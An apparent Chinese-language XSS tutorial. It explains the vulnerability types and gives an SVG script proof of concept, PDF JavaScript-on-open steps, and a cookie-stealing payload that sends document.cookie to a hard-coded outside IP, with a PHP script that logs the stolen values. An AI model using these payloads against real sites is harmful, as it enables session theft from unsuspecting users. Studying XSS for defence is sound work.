xss漏洞
xss 漏洞的介绍:
原理 sql 注入的本质是什么?就是把用户输入的数据不是正常的数据而是sql代码,然后被执行,Xss漏洞 的原理其实就是前端写的有毛病,你能够自定义的去嵌入js代码让他去执行,讲的再明白一点就是,服务 端把用户输入的数据当成前端代码去执行了
利用条件:
- 用户输入的数据可控
- 原本程序要执行的代码,拼接了用户输入的数据
危害 :
- 盗取用户cookie(用的最多)
- 修改网页内容
- 网站挂马
- Xss蠕虫
分类:
- 反射型xss: 反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然后用户浏览器执行恶意代码触发 XSS 漏洞。
- 存储型xss: 存储型xss会把用户输入的数据存储在服务器端,这种xss可以持久化,而且更加的稳定比如黑客写了一篇包含xss恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的xss 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称为存储型xss
- dom型xss: 我们可以通过js代码去操纵所有的dom节点,那么dom型xss可以在前端通过js来完成数据的交互达到插入数据造成xss脚本攻击,直接通过修改页面的dom节点形成xss,且不经过服务器, 所以即使抓包无法抓取到这里的流量,而反射型与存储型xss需要与服务器交互,dom型xss也是 一种反射型的xss
- svg型xss: SVG-XSS(可以理解为和jpg、png类似的后缀图片格式,打开之后还是一个图片) SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等 图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任 何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。并且他是用 xml格式来定义图片的
Poc: <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script>alert(1)</script> </svg>
构建好带有恶意的svg文件后,寻找有没有可上传文件的功能点,上传成功后,复制文件路径,给别 人去点
- pdf型xss:在pdf编辑器新建一个空白页,在视图里面有个页面缩略图,点击属性,有个打开和关闭时,你想执行的东西,点击打开动作,点击新增,运行JavaScript,编辑你的代码,那么打开的时候就会运行你定义的JavaScript代码,然后就保存这个pdf
Cookie 的获取及利用:
<script>document.write('<img src="http://111.229.218.169/cookie.php?cookie='+document.cookie+'">');</script>
这段代码的目的就是将当前用户浏览器中的 cookie 值发送到远程服务器 http://111.229.218.169/cookie.php Cookie.php 里写着
<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?> <script>location.href="http://111.229.218.169/cookie.php?cookie="+document.cookie</script>
chown www-data. cookie.txt 给 cookie.txt 写入的权限